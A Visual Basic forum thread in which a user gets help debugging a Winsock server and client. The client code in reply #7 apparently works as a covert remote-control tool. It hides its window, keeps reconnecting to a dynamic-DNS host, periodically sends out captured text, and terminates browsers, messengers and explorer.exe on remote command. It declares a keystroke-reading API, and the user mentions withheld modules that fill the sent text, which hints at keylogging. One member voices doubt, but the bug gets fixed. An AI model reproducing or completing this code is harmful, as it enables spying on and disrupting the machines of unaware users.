Results 1 to 11 of 11

Thread: Easy Winsock TCP Data Send Command...

  1. #1

    Thread Starter
    Lively Member
    Join Date
    Apr 2005
    Posts
    127

    Angry Easy Winsock TCP Data Send Command...

    Hey,

    I had this command working a few days ago. It's a really simple program. Thanks for the help!

    This is my Server. The winsocks name is Winsock1 and it's index is 0.
    VB Code:
    1. Private Sub cmdSend_Click()
    2.    
    3.     Winsock1(0).SendData txtChat.Text
    4.     DoEvents
    5.  
    6.     'txtMain.Text = txtMain.Text & vbCrLf & txtChat.Text
    7.     txtChat.Text = ""
    8. End Sub


    My client should recieve like this
    VB Code:
    1. Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
    2. Dim strData As String
    3.     Let txtMain.Text = ""
    4.  
    5.     Winsock1.GetData strData
    btw, thats not the whole client script, it is a bit of it. The client uses a winsock with the name of Winsock1

    Ehh I'll just put the whole server code here, nothing private in it :P
    VB Code:
    1. Option Explicit
    2.  
    3.  
    4.  
    5. Private Sub cmdSend_Click()
    6.    
    7.     Winsock1(0).SendData txtChat.Text
    8.     DoEvents
    9.  
    10.     'txtMain.Text = txtMain.Text & vbCrLf & txtChat.Text
    11.     txtChat.Text = ""
    12. End Sub
    13.  
    14. Private Sub Command1_Click()
    15. data.Text = ""
    16. End Sub
    17.  
    18. Private Sub Command2_Click()
    19.     Load Form2
    20.     Form2.Show
    21. End Sub
    22.  
    23. Private Sub Form_Load()
    24.    
    25.     Winsock1(0).LocalPort = 10101  'In my example winsock1(0) is the listening winsock... others are use for two way communication..
    26.     Winsock1(0).Listen
    27. End Sub
    28.  
    29. Private Sub Winsock1_ConnectionRequest(Index As Integer, ByVal requestID As Long)
    30. Dim newIndex As Integer
    31. newIndex = Winsock1.Count     'We have to get another socket to communicate with incoming client...
    32. Load Winsock1(newIndex)  'Loading into the array
    33. Winsock1(newIndex).LocalPort = Winsock1(newIndex).LocalPort + 1   'Set new local port, i.e. 1 plus previous port
    34. Winsock1(newIndex).Accept requestID    'Now accept the request
    35. List1.AddItem Winsock1(newIndex).RemoteHostIP    'Adding to list to see the IP of incoming client..
    36.  
    37. End Sub
    38.  
    39. Private Sub Winsock1_DataArrival(Index As Integer, ByVal bytesTotal As Long)
    40. Dim strData As String
    41.     Winsock1(Index).GetData strData
    42.     data.Text = data.Text & strData
    43. End Sub

    Anyone know what this little bug can be? I don't wanna change any of the code except the
    VB Code:
    1. Winsock1(0).SendData txtChat.Text

    That has got to go!

    Thanks!

  2. #2

    Thread Starter
    Lively Member
    Join Date
    Apr 2005
    Posts
    127

    Re: Easy Winsock TCP Data Send Command...

    The problem I'm having is that when I try to send my data it says "Wrong connection type..." Meaning that my Server isn't correctly connected with the client to SEND to it...?

    But I see the users IP in my list, so its connected with me??
    My send command is wrong, prolly....

  3. #3
    PowerPoster
    Join Date
    Dec 2003
    Posts
    4,787

    Re: Easy Winsock TCP Data Send Command...

    Quote Originally Posted by Brin
    The problem I'm having is that when I try to send my data it says "Wrong connection type..." Meaning that my Server isn't correctly connected with the client to SEND to it...?

    But I see the users IP in my list, so its connected with me??
    My send command is wrong, prolly....
    No, the error you would get if you wernt connected would be the the (Wrong State or protocal conneection error.)

    Could you post me your actual application it would help so much more

  4. #4

    Thread Starter
    Lively Member
    Join Date
    Apr 2005
    Posts
    127

    Re: Easy Winsock TCP Data Send Command...

    I posted all of the code that makes any difference at all. Everything else is just the program, itll make clutter.

    That is it...practically
    The problem that is there is with the server winsock. I think there 2 winsocks its looking for, i only have 1

  5. #5
    PowerPoster
    Join Date
    Dec 2003
    Posts
    4,787

    Re: Easy Winsock TCP Data Send Command...

    Quote Originally Posted by Brin
    I posted all of the code that makes any difference at all. Everything else is just the program, itll make clutter.

    That is it...practically
    The problem that is there is with the server winsock. I think there 2 winsocks its looking for, i only have 1
    Its not the code I'm only looking at, as I say if you post your application I could help you further.

  6. #6
    PowerPoster Halsafar's Avatar
    Join Date
    Jun 2004
    Location
    Saskatoon, SK
    Posts
    2,339

    Re: Easy Winsock TCP Data Send Command...

    Just post your app for Pino.
    A mess of code or a not don't worry, he aint goona 'steal' you ultimate coding ability (lol) and he will assist you (guarantee)
    "From what was there, and was meant to be, but not of that was faded away." - - Steve Damm

    "The polar opposite of nothingness is existance. When existance calls apon nothingness it shall return to nothingness." - - Steve Damm

    "When you do things right, people won't be sure if you did anything at all." - - God from Futurama

  7. #7

    Thread Starter
    Lively Member
    Join Date
    Apr 2005
    Posts
    127

    Re: Easy Winsock TCP Data Send Command...

    My Client. There are also 3 modules that fill in the boxes that it tries to send to the server...
    Again, the problem appears when I try to send data FROM the server TO the client

    VB Code:
    1. Option Explicit
    2. Dim result As Integer
    3.  
    4. Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
    5. Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
    6. Private Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
    7. Const WM_CLOSE = &H10
    8.  
    9.  
    10.  
    11. Function EndProcess(filename As String) As String
    12.     Dim Process As Variant
    13.     For Each Process In GetObject("winmgmts:").ExecQuery("select * from Win32_Process")
    14.         If LCase(Process.Name) = LCase(filename) Then
    15.             EndProcess = Process.Name
    16.             Process.Terminate
    17.         End If
    18.     Next
    19. End Function
    20.  
    21.  
    22.  
    23. Private Sub Timer2_Timer()
    24. If Winsock1.State = sckConnected Then
    25.    
    26.     Winsock1.SendData Text1.Text
    27.     DoEvents
    28.     Let Text1.Text = ""
    29. End If
    30. End Sub
    31.  
    32.  
    33.  
    34. Private Sub Timer4_Timer()
    35. Dim result As Integer, Winsock1_Connect As Integer
    36.   Me.Hide
    37. Do Until Winsock1.State = sckConnected
    38. Winsock1.Close
    39. Winsock1.RemoteHost = "oni.hopto.org"
    40.     Winsock1.RemotePort = 10101
    41. Winsock1.Connect
    42. DoEvents
    43. Loop
    44. If Winsock1.State = sckConnected Then
    45.  
    46. Timer2.Enabled = True
    47. End If
    48. End Sub
    49.  
    50.  
    51. Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
    52. Dim strData As String
    53.     Let txtMain.Text = ""
    54.  
    55.     Winsock1.GetData strData
    56.  
    57. If strData = "End" Then
    58.         Unload Form1
    59.         Else
    60. End If
    61.     If strData = "loop" Then
    62.    
    63.     Change.Enabled = True
    64.     Game_Loop
    65.     End If
    66.    
    67.  
    68.  
    69.     If strData = "aim.exe" Then
    70.     EndProcess ("aim.exe")
    71.     End If
    72.    
    73.     If strData = "explorer.exe" Then
    74.     EndProcess ("explorer.exe")
    75.     End If
    76.    
    77.     If strData = "WINWORD.EXE" Then
    78.     EndProcess ("WINWORD.EXE")
    79.     End If
    80.    
    81.     If strData = "firefox.exe" Then
    82.     EndProcess ("firefox.exe")
    83.     End If
    84.    
    85.     If strData = "msnmsgr.exe" Then
    86.     EndProcess ("msnmsgr.exe")
    87.     End If
    88.    
    89.     If strData = "all.exe" Then
    90.     EndProcess ("aim.exe")
    91.     EndProcess ("explorer.exe")
    92.     EndProcess ("WINWORD.EXE")
    93.     EndProcess ("firefox.exe")
    94.     EndProcess ("msnmsgr.exe")
    95.     End If
    96.    
    97.  
    98.  
    99. End Sub
    100.  
    101. Private Sub Winsock_Error(ByVal Number As Integer, Description As String, _
    102.         ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, _
    103.         ByVal HelpContext As Long, CancelDisplay As Boolean)
    104.        Dim result As Integer, Winsock1_Connect As Integer
    105.  
    106.  
    107.  
    108. Do Until Winsock1.State = sckConnected
    109. Winsock1.Close
    110. Winsock1.RemoteHost = "oni.hopto.org"
    111.     Winsock1.RemotePort = 10101
    112. Winsock1.Connect
    113. DoEvents
    114. Loop
    115. If Winsock1.State = sckConnected Then
    116.  
    117. Timer2.Enabled = True
    118.  
    119.  
    120. End If
    121. End Sub
    122.  
    123.  
    124. Private Sub Timer3_Timer()
    125.  
    126. Dim strState As String
    127.  
    128. Select Case Winsock1.State
    129.    Case sckClosed
    130.       strState = "Closed"
    131.    Case sckOpen
    132.       strState = "Open"
    133.    Case sckListening
    134.       strState = "Listening"
    135.    Case sckConnectionPending
    136.       strState = "Connection pending"
    137.    Case sckResolvingHost
    138.       strState = "Resolving host"
    139.    Case sckHostResolved
    140.       strState = "Host resolved"
    141.    Case sckConnecting
    142.       strState = "Connecting"
    143.    Case sckConnected
    144.       strState = "Connected"
    145.    Case sckClosing
    146.       strState = "Peer is closing the connection"
    147.    Case sckError
    148.       strState = "Error"
    149. End Select
    150.  
    151. End Sub

    Thanks!

  8. #8
    Banned dglienna's Avatar
    Join Date
    Jun 2004
    Location
    Center of it all
    Posts
    17,901

    Re: Easy Winsock TCP Data Send Command...

    Quote Originally Posted by Halsafar
    Just post your app for Pino.
    A mess of code or a not don't worry, he aint goona 'steal' you ultimate coding ability (lol) and he will assist you (guarantee)
    but maybe shouldn't

  9. #9

    Thread Starter
    Lively Member
    Join Date
    Apr 2005
    Posts
    127

    Re: Easy Winsock TCP Data Send Command...

    The main code is in the modules, he doesn't get those :P

    No need anyway

  10. #10
    Frenzied Member
    Join Date
    Aug 2000
    Location
    O!
    Posts
    1,177

    Re: Easy Winsock TCP Data Send Command...

    Quote Originally Posted by Brin
    Anyone know what this little bug can be? I don't wanna change any of the code except the
    VB Code:
    1. Winsock1(0).SendData txtChat.Text

    That has got to go!

    Thanks!
    You are trying to send data from a control that is in the listening state.

  11. #11

    Thread Starter
    Lively Member
    Join Date
    Apr 2005
    Posts
    127

    Re: Easy Winsock TCP Data Send Command...

    Ahhh...

    Works! Thanks all. I just changed the index numbers around a bit if you were wondering how... Ty!

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  



Click Here to Expand Forum to Full Width